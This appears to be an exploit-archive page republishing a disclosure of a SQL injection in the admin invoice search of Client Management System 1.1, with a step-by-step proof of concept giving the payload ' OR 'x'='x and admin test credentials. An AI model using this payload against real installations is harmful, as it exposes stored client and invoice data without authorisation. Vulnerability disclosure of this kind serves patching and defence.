Client management system 1.1 search sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-06-15 | Type : webapps | Platform : tru64
This exploit / vulnerability Client management system 1.1 search sql injection is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Client Management System 1.1 - 'Search' SQL Injection
# Date: 14 June 2021
# Exploit Author: BHAVESH KAUL
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/
# Version: 1.1
# Tested on: Server: XAMPP

# Description #

Client Management System 1.1 is vulnerable to SQL Injection in the admin panel 'search invoices' field because of insufficient user supplied data sanitization.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/clientms/admin/index.php
2) Login as admin using test credentials: admin/Test@123
3) Goto: http://localhost/clientms/admin/search-invoices.php
4) Enter the following payload in the search field: ' OR 'x'='x
5) All results are showed instead of none ==> SQL Injection success